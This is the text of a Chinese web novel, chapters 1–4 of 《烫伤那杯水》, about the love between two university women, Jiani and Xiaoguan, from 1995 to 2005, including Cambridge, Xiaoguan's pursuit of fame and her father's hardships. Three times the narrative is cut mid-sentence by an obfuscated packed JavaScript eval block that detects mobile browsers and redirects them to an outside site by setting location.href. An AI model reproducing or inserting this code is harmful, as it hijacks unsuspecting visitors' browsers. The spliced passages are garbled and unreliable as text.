《烫伤那杯水》 1. 1 那是1996年的秋天，自一场《青蛇》肇始。 女生寝室楼后的篮球场，每个周末晚上会有露天电影。傍晚，洗完澡，雪白幕布就扯起来了，去得晚只能站在后排。 某次有约会，佳妮坐在人去楼空的寝室里对着镜子梳头发，楼下三三两两的女生经过，笑语喧哗，裙角飞扬。 心是迷惘的，被牵住手，一侧身，闻到那人白色衬衫上微湿的汗意。 人太多，绕到幕布后面看，狡黠地对视一眼。花三块钱，买两只巧克力蛋筒，天气太热，满手狼狈的奶油淋漓，佳妮递上纸巾，就势被小关拉到怀里，生平第一个吻，在明明灭灭的光影里，仓促地，慌乱地，飞速。心如擂鼓轰隆，轰隆隆。 电影没看完，两人逃走了，婉转至不可言说的音乐远远地开放在那端的喧嚣夜色中：半冷半暖秋天，熨帖在你我身边…… 那之后，开始听陈淑桦。十五岁的爱情，总是和音乐、书籍和电影联系着的。佳妮在静夜里不能睡去，点着蜡烛，翻看小关写来的信。 天天见面，还是乐此不疲地用白纸黑字说着思念。说窗边的风来来往往，说午夜电台的DJ有一把好嗓子，说，将来，我们要生活在一起。小关的字极美，大而舒达，写在速写簿撕下的纸上，字和字的间距很大，像她疏朗的眉目。 1996年的爱情里，小关短发，身形颀长，长手长脚，喜欢穿T恤和牛仔，在领口处别一枚装饰用的小眼镜。 眼镜是佳妮在校外小摊淘来的，刚伸手，小关也伸过来，佳妮缩回去，小关看着她笑了。 1995年的秋天，两个人第一次见面。之后很久，她们不曾再见，直到圣诞节，系里有大型晚会，室友拉着佳妮去看。 那天非常非常冷，佳妮穿了一件红彤彤的棉服，满世界俱是雪花，到得很早，阶梯教室没什么人，学生会的人在布置舞台。 室友也是学生会的，过去帮忙，佳妮独自靠在窗边注视着纷纷大雪，第一次，有了寂寞的感觉。 两个小时后，佳妮看到小关。偶遇的短发女生，穿一身黑衣，在台上，旁若无人地坐在高脚椅上，随意地转着，微仰起头，唱《笑红尘》： 今天哭，明天笑 不求有人能明了 一身骄傲 歌在唱 舞在跳 长夜漫漫不觉晓 ——九年前的那夜，小关这般唱。九年后，在风靡全国的造星节目里，她作为某赛区的种子选手，仍这般唱。 滔滔年华逝去了。虽然，她依然那样……有着朗眉星目的俊朗，罕见的矛盾的气质，一颦一笑，牵动世人的心。 小关一夜成名。无数娱乐报刊均以她露出小颗洁白牙齿的粲然笑容做头条。 这年，小关26岁，看上去和1996年的冬天毫无区别。 1995年的圣诞节，唱得兴起，小关站起身，瘦而高，随节奏舞出潇洒步态，佳妮坐在第一排，清晰地看到她的五官，皮肤细腻，没有任何化妆，眼睛细长，像初春的嫩叶，常常笑，清淡地，像阳光下的白雪，一落下来，旋消失，化作虚无。 谢幕时，小关鞠躬，引得校园女生尖叫声一片，她独独看定佳妮，微微一笑，叫人心都化掉。 当日散场后，佳妮走了。她隐隐觉得，小关天生是众人所仰望的那个人，不会只属于她。所以第二天，小关来找她时，她感到茫然。 小关通过门房捎信，请305室的佳妮下来一趟。她用粉色的便笺纸写字：请来，小关。 四个字，佳妮反复看了多遍。认识小关之前，她有过恋慕。对方是年长她12岁的邻家大哥，在一家琴行做事，不嗜烟酒，有灵动的十指，教她练琴，指间绽放着最初的花朵。 佳妮考上大学的当年，男人结婚了。最冷的八月，佳妮穿着蓝色裙子，没有去观礼，但从此，她一生为音乐而沉迷，无计回避。 佳妮将小关的字条翻来覆去地看，模仿着她的字迹，在落雨的窗上写：请来，小关。 小关小关。 17岁的少年小关，站在雨中，等那个女孩。 佳妮喜欢在窗上写字，透过雨雾，她看见小关，朦胧的影子，站成一株绿树。 一株，静默的树。 佳妮感到深重的窒息，为这即将开始的爱情。 她们对峙。小关等着她下来，她等着小关离去。 隔着多年的烟尘往事，26岁的小关，在荧屏里轻唱《笑红尘》，你来唱来我来和。一曲终时，她看到她的泪光莹然，她说：“……我曾经想弄很多很多钱。” 主持人笑，为她的率性，问：“你拿了第一，奖金有几十万，够了吗？” 小关坦率地摇头：“现在对我来说，钱不是问题。这些年，我不择手段地弄过钱。” 主持人问：“为什么要那么多钱？我以为，你是很淡然的人。” 小关必是知道拜金论会影响自己的声誉，尤其是在公众面前。但没关系，她不在乎。这些，都不重要。 全世界都不重要。 小关说：“我想去荷兰定居。” 再不多言。 据说在荷兰，她和她是能得到成全的，所以小关曾发疯似地弄钱，一个晚上连赶三场，去不同的酒吧献艺，必要时，会和对她有意的人虚与委蛇。 她没有告诉过佳妮，从来没有。 在她17岁的时候，爱过佳妮，想把她带走，从此日日相对，不离不弃。可如今，她站在台上，佳妮呢，她去了哪里。 2005年，当如潮人声涌来，她心爱的女孩，和她，互相背离，各自孤军奋战。 小关说：“下面，我还想唱一首歌，献给我的爱人。” 佳妮知道她要唱的是什么。没有人能比她更懂得小关。 1995年的圣诞节之后，小关为佳妮风露立中宵，佳妮站在楼上看，她想知道，这样一个扬名校园的女生，究竟可以为她等待多久，是一时的意乱神迷，还是来自内心最深处的确认。 半个月后，校长找到佳妮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660290|172914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，让她作为本校唯一一名学生代表，赴剑桥参加为期半年的学术交流。 纵观全校，只有佳妮最适合。英语八级，10岁入选国家集训队，12岁奔赴欧洲参加国际奥林匹克竞赛，屡有斩获，15岁，被保送进入高等学府，并受到教育部长的接见。 夜里，佳妮在窗上写那个名字，小关。 小关小关。 离校时，校方为佳妮举行了欢送会。佳妮盼了又盼，小关没有来。到她临行，小关亦未出现。佳妮暗暗地恼她，你竟是不等的么。 佳妮在三天后飞抵北京，转机赴伦敦。 异国他乡的生活并不苦闷，和全世界的精英共处，佳妮的视野日渐开阔，也深感所学不足，除了上课，终日泡在图书馆，贪婪地吸收着各种知识。 便是在这时，识得徐志摩。佳妮借到他的亲笔书信集，白底绿花的封面，极雅致，一页页地记载着多年前的深情往事。 他把剑桥译做康桥，将佛罗伦萨写作翡冷翠。翡冷翠，缘何有了这样硬冷的质感，让佳妮想起万里之外的小关。她还好吗？ 小关，你甚至不来送我。 自然也是被洋人追的，19岁的白人男孩，睫毛华丽，笑容灿烂，在剑桥研读空间物理学，有着显而易见的光明前途，为东方小公主吸引，不管不顾地追求。 他带佳妮去里兹饭店的茶室喝英式奶茶，加奶和糖，辅以甜点，明月清风，异国的风吹得很浪漫。这里以尊贵闻名，需提前两个礼拜才能订到座位，戴妃生前屡来光顾。 某个下午，男孩挑明心意。 这时，正值国内的旧历年，遥想中，满地的鞭炮红屑，家家门前结起了红灯笼。 佳妮微笑着拒绝了男孩，看着他的眼泪就那么大滴大滴地落下来，他不断地说起他的伤心，他的难过，末了，仍保持着足够的风度，在她的手背上轻轻一吻，送她回家。 花树下他们道别，他问她：“为什么，为什么不能是我？” 佳妮指指自己的心，说：“这里，疼。” 两人从此再也没有见过面。佳妮的日子因此沉寂下来，看更多的书，打工赚钱，假期里，去附近的城市看画展，听音乐会。 在圣保罗大教堂，佳妮虔诚许愿，许一个属于她和小关的未来。如果，真能有未来可言的话。在格林威治天文台，她将看到的第一颗星星，取名为小关。在泰德美术馆，看到几百年前大师的真迹，她想，将来，我要学艺术，享受它本身带给人的乐趣。 她自极年轻的时候，就为音乐沉迷，接着，是绘画，再然后，是雕塑。这半年的漂泊经历给了她最深的感动，并将绵延一生，从此明白今后努力的方向。 佳妮仍会想起小关，想得心都痛，对自己的心完全无能为力，等到回国后，她想亲口告诉小关，将来，我们去国外，我们要看很多很多艺术精品，我们，要在一起。 有时候，不离开一个人，就不会深刻明了自己的心。但她毫无把握，此刻的小关，是否，还念念难忘于她。 2. 2 回国那天是农历七夕，学校早已放了暑假，佳妮买了礼物，去校长家拜访。校长对她自是赞赏有加，暗示待她结束大学课程后，随时可赴剑桥深造。 佳妮依次又去谢了教导主任和辅导员，路过教学楼，进去看了看。很意外地，信箱里，有厚厚一沓信，全是写给她的。 熟悉的字迹，来自小关。 佳妮紧张起来，拆开最上面的一封，一目十行地看。落款当然是小关。 信的内容，倒是平淡的，单说自己日常生活：上课放学，看球唱歌，周耀辉的词很棒，林夕自不用说，达利的画很天才。 任何一句思念的话，小关都吝于提及。但有什么关系？佳妮明白她之所想。 开学后她们才再见，秋天的夜晚，虫儿在草丛里鸣叫，星子澄明，有一弯淡淡的月，即将放映的电影是《青蛇》，凄艳动人，两个美丽的女子，各怀心事，幽然莫辨。 一个纠缠的吻落下来，自此天地一新。 太年轻了，有了爱情，恨不得炫耀给全世界看，要多张扬就多张扬，两人双双搬出了寝室，在校外租了一间小房子，过起同居生活。 都是出名的女生，受到的关注格外多些，尤其是佳妮，被校长气急败坏地叫到办公室，可怜那中年人，将食指在桌面上敲击良久，斟酌着措辞，半晌才道：“听说你和一个女生来往过密？” “是。”佳妮直视他的眼睛。 校长为之气结：“你和别人不同，还是注意影响为好。” 话说得如此贴心，佳妮垂下眼帘，轻声说：“我明白。” 校长又道：“我是把你当女儿看待的，这条路很辛苦，你现在还小，也许要花一些时间才会懂。” 佳妮再说：“我明白。” 然而那些爱慕小关的女生不肯放过佳妮，当街堵截，将她围至墙角，上上下下地打量着她，暴跳如雷地宣布：“不怎么好看。” 佳妮啼笑皆非。是，她不美，起码，不如面前这四个女生当中的任何一个更美。甚至，论五官，还不如小关精致。 佳妮到底是去问了小关：“喜欢我哪一点？” 小关想了想才说：“都喜欢。” 佳妮拍她的脸：“假话。” 小关说：“真话。” 佳妮说：“假的。” 小关重复说：“真的。” 便不再拘于这个话题，对视一眼，笑着，头碰头地说话。小关喜欢听佳妮读故事给她听，佳妮的声音很甜美，读再硬朗的句子，都像在念情诗，小关每每听了，静静地睡过去，醒后一睁眼，发现佳妮还在，紧紧地握住她的手，不放开。 穷学生，没什么钱，租住的小屋很简陋，一床一桌，小电扇。她们花了大半天的时间才将其打扫干净，小关搂着佳妮黯然地说：“对不起，只能让你住这么差的地方。” 佳妮说：“我不介意。” “我介意。”小关眼里闪烁着激越的光芒，“等着我，我会去赚钱。” 小关很快找到事做，在几家酒吧当驻唱歌手，凌晨三点才能回来。 在音乐里，小关是自如的，和台下那个略带腼腆的少年判若两人，她在极短的时间内聚焦了目光，发展了大批歌迷。 但这不够，远远不够。小关说：“我想大红。不是地下乐队小范围的红，我要大红。” 佳妮从不知她是这样的人。 她不以为她是。 但她是小关，小关做任何决定，佳妮都无条件地支持，趁年轻，还输得起，你愿意去做什么，我不会阻止。 小关总是回来得晚，但佳妮总是等着她的，桌上有她买好的夜宵，热过一次又一次，她总是等着她的。小关吃着夜宵，听佳妮讲故事，有时候没来得及看书，就编一个给她听，逻辑全无，天马行空，但她照样听得入神，兴致勃勃地问：后来呢，后来呢。 后来……后来的佳妮，眼见着小关向名利场倾斜，再倾斜。而天边的那颗星星，那颗她在英伦观测到的星星，被命名为小关的星星，在歌坛上，看不到指望。 诚然，有那么多女孩爱上小关，走近她，追随她去各个酒吧捧场，但没有用，她的心太大，要的不止这些。 小关拿着自己写的歌的小样，去唱片公司，却一再碰壁。夜露深重，两个女生并肩坐在窗台上，赤着脚，风温柔地抚过，间或侧脸吻住身边那张亲爱的脸庞。 也在睡不着的夜里，出去跑步。小区外是一大片广场，很开阔，深夜无人的马路上，跑到虚脱，就地坐下来，相对而笑，似乎很快乐。 如果小关不惦记着名利，那么真是很快乐。 又一次被唱片公司拒绝后，小关的情绪低落到极点。她不嗜烟酒，那天破例喝上许多，瓶子堆满了一排。佳妮陪着她喝：“不要太苛求自己。” 小关说：“我着急。” 佳妮摸摸她的脸，说：“即使是Leslie，也做足十年才红。” 小关不想继续这个话题，焦躁地将酒瓶摔破，发出清脆的响声。便都不再说话，沉默地喝酒，只是喝酒。 隔很久，小关慢慢地说话：她幼年住在乡下，不爱说话，也没什么朋友，时常跑去屋后的山上玩，看着一朵花，就能发一下午的呆。累了，就躺到在草地上，仰望着蓝天。 佳妮从身后搂住小关，把头靠在小关的肩膀上，小关近在咫尺，在她时刻能感受的范围内，她默然想，十年后两人会干些什么，在二十年后仍会干些什么，帅气如小关，脆弱如小关，敏感如小关，以后会不会变成势利的人，会不会变成她自己都不喜欢的人，会不会离她越来越远。 16岁那年， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660291|172914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佳妮为自己内心里对小关的爱意感到恐惧，小关扭头看她：“你哭了？” 佳妮不说话。 小关低声说：“……我是真的爱上你了，尽管这么说，我心里很过意不去。” 她说，对她不起。如果不是她，也许佳妮的人生会是别的样子。会遇见别的人，有别的爱情，没有舆论压力，没有动荡，没有担忧。可她呢，她能给佳妮什么，除了一无所有的爱。 佳妮明白她在说什么，慢慢说：“继续讲你的童年吧。” 小关说：“……有一天，我记得是个夏天，傍晚吧，天边有红彤彤的云，我看了很长时间，以为是课本上学到过的火烧云。你学过那篇课文吗。” 佳妮点头。小关接着说：“然后我看到那只蜻蜓了，红色的，翅膀很轻盈，大眼睛，她停留在一株蕨类植物上，翕动着翅膀，悠然自得的模样，自成一个世界。我不忍惊动她，趴在地上，贪恋地望着她，不肯离去。你知道童年时代，我有多么羡慕她吗，她有翅膀，可以飞，可以停留，可我，可我为什么这么多年，只能在这地上走去走来，只能在这地上走去走来？” 我们都向往蓝天，向往优游，向往无拘无束，小关，我的爱人，我明白。但翅膀，我们的翅膀，在哪里。 小关继续说：“我以为，我愿意就这样注视着她，以观望的姿态出现就好，不去走近，守望着，就好。但是，我害怕她会忽然离去，怕我再也不能遇见她，怕我再遇见的，不是她。” 从第一眼，小关就知道，自己对天才少女佳妮一见倾心，但她迟疑了，她竟迟疑了。 直到几个月后，圣诞节的晚上，穿红色棉服的女孩子，坐在第一排，目光直扑到她的面容上，她为之心折，为这无比确定的，爱慕。 良久后，小关讲下去：“我终究起了觊觎之心，合住掌心，我抓住了她，兴高采烈地带回家，把她养在蚊帐里，还弄来小杯子，盛满井水，喂给她喝。” 佳妮问：“你觉得爱是什么？” 小关看了她一眼，肯定地说：“爱是占有。” 佳妮浅笑：“后来呢？” 小关回答：“我没有能力给她大自然般开阔的地方，她很快奄奄一息，我把她放走了。那之后我开始觉得，对待喜欢的人和物，应该竭力为她创造好一点的环境，才能留住她。” 佳妮说：“但你是否想过，如果她爱你，就什么都不计较。” 小关激动起来：“你不懂。如果我爱她，我无法容忍她为我受苦，即使她甘之如饴。” 那么，我的小关，2005年的小关，当你成了闪耀新星时，你想过生命里那只蜻蜓吗，你曾经想留住她。 夕阳渐渐沉寂下去，归于寂寂大荒。而屏幕上，那张熟悉的面容，要唱歌了，她说：“我小时候，爱上过一只蜻蜓。” 3. 3 还是黑衣，她戴了墨镜，如詹姆士邦，以妖冶舞姿和伴舞女郎周旋，浑身的骨头似乎都可自控，灵动舒展。 然后，她一扬手，灯光骤灭，弦乐起，座无虚席，爱恋她的少女们，为她燃起支支蜡烛，齐齐拍手，合着节奏，万众一心，汇集成巨大的和声。 她唱的果然是佳妮料想的歌： 当所有的人离开我的时候…… 只唱第一句，小关声音便哽住，她手握麦克，背转身，仰起脸，深吸一口气，回头，继续唱： 当所有的人离开我的时候 你劝我要耐心等候 并且陪我渡过生命中最长的寒冬 如此地宽容 摄像师将镜头打向观众席，一一扫过去，每个人眼里都含着泪。 在走了这么多年的弯路后，多少风刀霜剑严相逼。小关终于红了，红得痛快又彻底。 此情此景，还有什么歌比它更贴切？我的佳妮，你在哪里。这偌大舞台，属于今夜的小关，且，只属于她，但是斯人早已远去。 主持人不失时机地走到台上，代小关的追随者问：“……你弄丢了你的爱人？” 小关握住麦，脸微侧着，是努力隐住了泪吧，笑容晴好：“是的。” 主持人说：“有缘走进你心间的那个人，很幸运。” “是我的幸运。认识她，是我这辈子最好的事情。”26岁的小关说。 为留住歌迷，多少艺人刻意隐瞒自己的情史，但当小关如日中天的此际，坦白地说：“曾经的我，因为有她，是最幸运的。” 这句话，小关曾经说过，在9年前的春节，她带佳妮回家过年，通往偏远县城的肮脏大巴里，佳妮晕车，恹恹地靠在她怀里，她抚着她的乱发，喂她喝水，给她用热毛巾敷脸，间或地，低头轻吻她的面颊。 昏沉中，佳妮听她自语：“认识你，是我这辈子最好的事情，最好的，最好的一桩事。” 佳妮努力地睁开眼睛，想朝她笑一笑，但小关却又红了脸，避开她的目光，望向窗外。 窗外是北方的白杨，枯萎的叶子，大片荒芜的田野，积雪。这是小关的家乡。 佳妮探身去看小关生活了那么多年的小地方，究竟是怎样的山和水，才能养育了天地之间，这样的一个你？ 究竟是怎样的人，令多年后，盛名的你，在万人中央，这般伤心。 县城很小，三五条错落的街，颓败的商场，了无生气的国营企业，只有机关大院才是气派的——暴发户的气派。小关指着高耸的九层楼说：“只怕有一半是空的。刚建成第二年，我进去掏过鸟窝。” 又指给佳妮看：“那家琴行，我在里面学过六年的乐器，什么都学。” “那幢房子，看到了吗，松柏后的红色尖顶？”小关说，“我喜欢的第一个女孩，住在里面。” 佳妮揪她的耳朵：“你可从来没对我说过！” 小关拱手讨饶，哧牙咧嘴地笑：“我这不是都招了吗。” 一街人笑咪咪地望着这两个快乐的年轻人追追打打。 十几岁时，她们那样相爱过，不避旁人目光地，当街拥吻，肆无忌惮。 也基于同样的理由，小关把佳妮带回来过年，带她看看她从小生长的地方，带她看望她的父亲，并要告诉他，这是我一生想要与之在一起的人，你会祝福我，对吗。爸，你疼我的，从小就疼我，你会尊重我的选择，无论对方是谁，无论她是男是女，你总是希望我遂我愿的，我了解你。所以，我不怕带她来见你。 小关的家在县城南边，沿路清一色四层民房，说是城建部门要求临街面的房子必须统一格局，这才体面。 但小关家是平房，前园后院，被蓝白相间的围墙掩住，几株腊梅探出头，迎风招展。小关打开门，拉着佳妮的手走进去。 院落不大，葡萄藤下砌了一张石桌，四个石凳，角落里开着经霜雪的腊梅，暗香盈盈。鹅卵石铺成的小路通往里屋，旁边的空地上，有车轮碾过的痕迹。 屋内空无一人，收拾得很整洁，小关径直走到东边那间房，放下行李：“爸在开车，要等等才回。” 佳妮环顾四周，镜子锃亮，桌子纤尘不染，床单整洁，被褥温暖。她说：“你妈妈一定天天盼着你。” 小关静了片刻，才道：“六岁那年，我就没有妈妈了，她得了病，家里没钱，拖了大半年就走了。” 佳妮只来得及说一句：“对不起。” 小关翻看着手指，声音极低：“是爸爸把我养大的，他吃了很多苦，怕别人对我不好，一直没有再婚。”蓦地抬起头，“将来，我会待他好，待你好。” 话音刚落，就听到倒车声，小关站起来：“爸下班了。”拉着佳妮的手，向外跑去，大喊道，“爸，我回来了！” 佳妮首先看到的是一辆红色夏利，已经很旧了，有撞伤的痕迹，玻璃窗摇下来，露出一张苍老的中年男人的脸，看到小关，就笑了：“回啦？” “回啦。”小关将佳妮拉到身边，“爸，我带了个人回来。” 爸爸下了车，脸被冻得通红，一双糙手，抚了抚佳妮的脸，当她是自己的女儿似的，亲热地说：“好，好孩子。” 他的手真暖。佳妮看着他说：“伯伯好。” 是给他买了礼物的，兔毛手套，灰色的，他戴着，正合适，爸爸很仔细地把手套收起来，冲佳妮笑：“下午出车就戴上。” 家里早就备齐了腊味，小关爱吃的腊肉和香肠都晾在屋檐，爸爸算着她该回来了，还称了排骨。三人吃了一顿欢欢喜喜的饭，小关做菜，爸爸剁排骨，佳妮忙着拍葱和蒜，她的家境不坏，从没做过这些事，此番尝试，很有乐趣。 趁爸爸出去拿东西，佳妮飞快地将唇抵在小关的脖子上，轻轻说：“你今天特别高兴。” 还有什么能比这些更好呢，带心爱的女子回乡过年，和宽厚的亲人围炉吃喝。还有什么能比这些更好呢。 爸爸做的粉蒸排骨很好吃，他不断地给佳妮夹，隔着热气腾腾，她忽然很想像小关那样，自然而然地喊他一声：“爸。” 但她是忐忑的，小关并未向爸爸提及两人的真实关系，只说很要好。她知道小关迟早会向爸爸挑明，可她不敢预料结局会如何。 吃完饭，爸爸出去了，临走前让小关带佳妮出去转转：“县城太小了，不过，你没来过，看看也好。” 夏利很旧了，不少地方还掉了漆，爸爸开车门时，佳妮清楚地看到，他的后背有些佝偻了，她一阵心酸，脱口而出：“爸！” 小关听得浑身一震。爸爸慢慢地回过头来，戴着那双手套，朝佳妮晃了晃，笑着说：“好孩子，多住几天吧。” 刷碗的时候，小关好久没有吭声，只有水流声哗啦地响着，佳妮也不说话，把她刷好的碗一只只地摆到碗柜里去。 良久，小关才说：“爸爸年轻时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660292|172914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当过兵，复员后在厂里给领导开车，没两年，工厂倒闭了，他和妈妈一合计，到处借钱，买了一台拖拉机。” 真穷，真是穷极了，寒冬腊月的，债主上门要债，没办法还上钱，对方就叫来七大姑八大姨的到家里哭诉，欠债还钱，天经地义，到底是自家理亏，只好一低再低，商量着明年春上一定想办法，砸锅卖铁也不能让当初伸手拉了一把的恩人为难。 确实是被逼急了，妈妈又怀着小关，眼前预产期就要到了，躲到乡下爷爷家，可爷爷家也穷啊，只有一间土砖屋可住，四面漏风，用报纸糊住，不顶用，弄来硬纸板挡着，勉强过了一个冬。 小关是在那年大年初二出生的，爸爸说：“我们家在过关口啊，过了，也就过去了，就叫小关吧。” 过关口。于是这孩子，一生都在过关，一道关两道关三道关，关关难过关关过。 整整花了三年的时间，没日没夜地劳作，才还完债，可妈妈劳累成疾，染了病，早早地走了。 妈妈去世的那天，大雨倾盆，爸爸在房里坐了一夜，次日，小关发现，爸爸再也站不直了。 此后父女相依为命，小关念小学，爸爸跑出租，供她读书穿衣吃饭，发现她在音乐上有天赋，又省吃俭用，送她去学声乐。买不起钢琴，就先买口琴，笛子，洞箫，手风琴，电子琴，让音乐渗入生命。 学音乐，要多贵就多贵，小关觉得自己是个吸血鬼，毫不留情地榨干了爸爸的血汗，但他从来一笑了之：“我们是一家人。” 是一家人，就不用计较什么了。小关发誓，将来，要出人头地，要对爸爸好，要成为他的骄傲，让这些年来，他受的苦，统统得到补偿。 初三后的暑假，爸爸接了几趟长途，小关听说那条线经常出事，放心不下，执意要陪爸爸，爸爸拗不过她，让她坐在副驾驶上跟着。一路说些话，倒也平安。 回程是放空车，心疼油钱，爸爸急得直咂嘴，冷不丁，半路有人窜出来，要求搭车。岂料上来的是一群混混，抢了钱，还逼爸爸下跪，刀架在脖子上。小关和他们对打，没几下，被掀翻在地，屈辱地看到那些人戏弄她的父亲，她痛恨自己的无能，将头撞在车门上，鲜血直流。 那伙人走了后，爸爸挣扎着扶起小关，他被打得满身是血，已经没力气了，连方向盘都握不住，靠口述，教会了小关开车。 那是小关第一次开车，摇摇晃晃，且惊且怕，三次撞上路边的树木，两百八十七里路，跌跌撞撞，她怀着唯一的信念：没有人救我们，爸，我不能失去你。一路折腾着，总算将爸爸送往最近的医院，将他从生死线上拉了回来。 那个漫长的黑夜，没有月，没有星，漆黑。 从此小关的书包里装着链条和砖头，但她再也未曾碰到那些人。佳妮听得唏嘘不已：“我很难过。” “别人也许会说，这类事情很平常，晚报上天天刊登，可是，他是我爸。”小关将最后一只碗洗干净，沥净水，平静地放到碗柜里，“那时我就想，将来，我要赚很多钱，要让他过上好日子。” 佳妮说：“会的。” 一起出了门，沿着大桥走很久，正年关，人很多，每个人脸上都洋溢着喜气洋洋的笑容，两个人走得很慢，时时停下来，迎着风说话，小关从背后拥住佳妮，脸在她脸上来回磨蹭，一下一下地吻着她的面颊：“佳妮，佳妮。” 到了八十岁，也会记得她吧。小关。我的亲爱。 4. 4 在大桥口，小关看到了平平。 平平穿紫色的棉袄，围着白色围巾，手里拿着一串棉花糖，和身边的男生说说笑笑。小关走上前：“苹苹。” 当她给平平介绍佳妮时，佳妮清晰地望见对方眼里的敌意，一闪而逝。 平平下意识地握住男朋友的手，问：“回来过年？” 小关说：“回来过年。” 平平说：“我也是。” 便沉默。然后一齐开口：“……你还好吗？” 小关说：“我很好。你呢。” “就那样吧。”平平说得平淡，但很明显，她过得不够如意，又问，“几时走？” 小关回答：“初八。” 平平说：“有空上我家做客。” 小关答得客气：“一定。” 平平几乎是逃亡一样地离开了小关。 她们曾经很认真地互相喜欢过对方，说过我爱你，像做贼一样拉过手，现在重逢，不过是波澜不惊地寒暄道别，可当初，也死生契阔过。 小关说：“我从小学就喜欢她，喜欢了很多年。” 佳妮问：“为什么会分开？” 小关笑：“就像歌里唱的那样：她认识了那帅哥，就把我丢一旁。” 平平提出分手的那天，下了很大的雨。年轻时有的是为爱情自虐的劲头，小关在雨里来回地走，淋得像只湿淋淋的水鬼。回家的路上，她买了一盒上海产的光明牌冰砖，一路走一路化，在日记里只写了一句：某年某月某日，苹苹说，再见了，小关。 那天的雨，那天的冰砖，和那天本身，永远不会再回来。 佳妮你呢，还记得那个教你音乐的男人吗。 记得，他长发，苍白，弹琴的样子曾令我不可自拔，他结婚当日，我以为全世界从此死去。 我们和最初的爱人，就这样转身，各自荒芜。 小关说：“很少人能初恋定终生，我们都不是对方的初恋，会持久些，对吗？” 佳妮笑着说：“很久很久，久到我们双双成了老太婆。” 小关说：“知道我为什么会喜欢苹苹吗？” 佳妮说：“她长得很好看。” 小关买了一大把里脊肉和鱿鱼，洒上重重的辣椒粉，跟佳妮站在路边吃，淡淡说起从前：“我注意到她，是因为她每天都有包子吃。” 平平的父母都在粮食局上班，当年粮食局是好单位，吃皇粮，很多人羡慕。平平和小关就读的小学就在粮食局旁边，下了早自习，同学们都在附近的小店里吃早餐，平平则回粮食局的食堂去拿包子吃。 刚出炉的肉包子，精面粉，雪一样的白，一边吃一边滴油，平平的妈妈总是给她买两个，她吃一个就饱了，另一个，只掰掉外面那层皮，胡乱咬两口就扔了。 小关吃的是爸爸一大早就熬好的粥和咸菜。给她做好早餐，盛到饭盒里，爸爸才去开车。爸爸很疼她，但能力有限，除了温饱之外，给不了她更多，只有逢年过节或者是小关的生日，才能买点好菜和蛋糕。 每年，小关许的愿只有一个：我要有钱。她怕得要命，怕将来会捱穷，会一直穷下去，怕买不起大房子，怕没办法给爸爸安稳的晚年，他，都吃了大半辈子的苦了。 小学时代的平平很受宠，她长得好看，家境又好，成绩也不坏，爸爸妈妈只得她这么一个宝贝女儿，要多疼她就多疼她，葡萄一上市，她就吃上了，家里的童话书摆满了整个柜子，穿的衣服也是最时髦的。 很多年后的小关对佳妮说：“你知道吗，她真像个公主。” 公主平平的父母只希望她平平安安地长大，给了她平凡的名字，她自己甚为不满，执意将平字改为萍字，自以为漂亮许多，但小关写在日记里，却用了“苹”字。 苹果的苹。她是一枚漂亮光鲜的苹果，很想去咬一口，一口，一口就够了，就像她手中的包子。那么喷香，那么热乎乎，那么白。 10岁左右，正是一个孩子嘴馋的时候，平平经常带很多东西到学校来吃，她很大方，主动给同学们吃，果丹皮，巧克力，无花果，都是城里的孩子才吃得上的新鲜玩意儿。但小关从来不要，忍得很艰难，就跑去小卖部买酸梅粉。 酸梅粉有两种，都装在小塑料袋里，白色的很甜，粉末精细得多，一角钱一袋，褐色的很酸，相对粗糙些，五分钱一袋，小关买的是褐色的，能酸倒牙齿，一小勺就能吃很久。 吃酸梅粉是要用小勺子舀着吃的，每袋里都附送了一个很小的勺子，柄上的图案各有千秋，小猴子小兔子小老虎，吃得多了，便集齐了一整套生肖图案，同学们围住平平时，小关独自摆弄着小勺子，摆成一排，倒也自得其乐。 平平便是在这时看到小关的。追随她的人越多越好，但小关不买她的帐，让她好奇，越来越好奇。 平平走过来，将果冻递给小关：“我可以看看你的勺子吗。” 小关挡回去：“我不吃果冻。”怎么不吃呢，她都没吃过。其实果冻也不大贵，一角钱一个，但那么小一杯，哧溜一下就没了，太不合算了，哪像酸梅粉，一勺子一勺子的舀，一包能吃两天，要是化成饮料喝，能化三大杯。 平平问：“你的勺子可以送给我吗？” 小关是可以不送的。但眼前的女孩如此天真，笑如春花，她低下头，小声说：“你拿去吧。” 小孩子也懂无功不受禄，当天下午，平平抱了几本书过来找小关：“那个……你好象很爱好这些，我从爸爸的书架上挑了《贝多芬传记》、《古今中外音乐鉴赏》，给你看。” 